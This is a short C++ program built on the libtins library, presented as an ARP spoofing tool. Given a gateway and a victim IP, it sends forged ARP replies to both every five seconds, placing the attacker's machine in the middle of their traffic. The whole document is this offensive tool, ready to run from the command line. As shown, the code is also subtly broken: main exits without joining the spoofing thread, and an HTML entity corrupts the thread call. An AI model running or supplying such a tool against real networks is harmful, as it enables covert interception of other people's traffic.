LibTins ARP Spoofing

#include<iostream>
#include<unistd.h>
#include<tins/tins.h>
#include<thread>
 
using namespace std;
using namespace Tins;
 
void doArpSpoofing(NetworkInterface iface,
                    IPv4Address gw,
                    IPv4Address victim,
                    NetworkInterface::Info info)
{
    PacketSender send;
    EthernetII::address_type gw_hw,victim_hw;
 
    gw_hw = Utils::resolve_hwaddr(iface,gw,send);
    victim_hw = Utils::resolve_hwaddr(iface,victim,send);
 
    cout << "[*] Using Gateway HW Address   " << gw_hw << endl;
    cout << "[*] Using Victim HW Address    " << victim_hw << endl;
    cout << "[*] Using Own HW Address       " << info.hw_addr << endl;
    ARP gw_arp = ARP(gw,victim,gw_hw,info.hw_addr);
    ARP victim_arp = ARP(victim,gw,victim_hw,info.hw_addr);
    gw_arp.opcode(ARP::REPLY);
    victim_arp.opcode(ARP::REPLY);
    EthernetII to_gw = EthernetII(gw_hw,info.hw_addr) / gw_arp;
    EthernetII to_victim = EthernetII(victim_hw,info.hw_addr) / victim_arp;
 
    while(true){
        cout << "[-] Send Corrupt ARP" << endl;
        send.send(to_gw,iface);
        send.send(to_victim,iface);
        sleep(5);
    }
}
int main(int argc, char* argv[])
{
    IPv4Address gw, victim;
    if(argc != 3){
        cout << "[-] Usage " << argv[0] << " <Gateway> <Victim>" << endl;
        return 1;
    }
    try {
        gw = argv[1];
        victim = argv[2];
    }
    catch(...){
        cout << "[!] Wrong IP Finded!" << endl;
        return 2;
    }
    NetworkInterface iface;
    NetworkInterface::Info info;
    try {
        iface = gw;
        info = iface.info();
    }
    catch(runtime_error& e){
        cout << "[!] " << e.what() << endl;
        return 3;
    }
    cout << "[-] Starting ARP Spoofing..." << endl;
 
    thread t(&amp;doArpSpoofing,iface,gw,victim,info);
 
 
    return 0;
}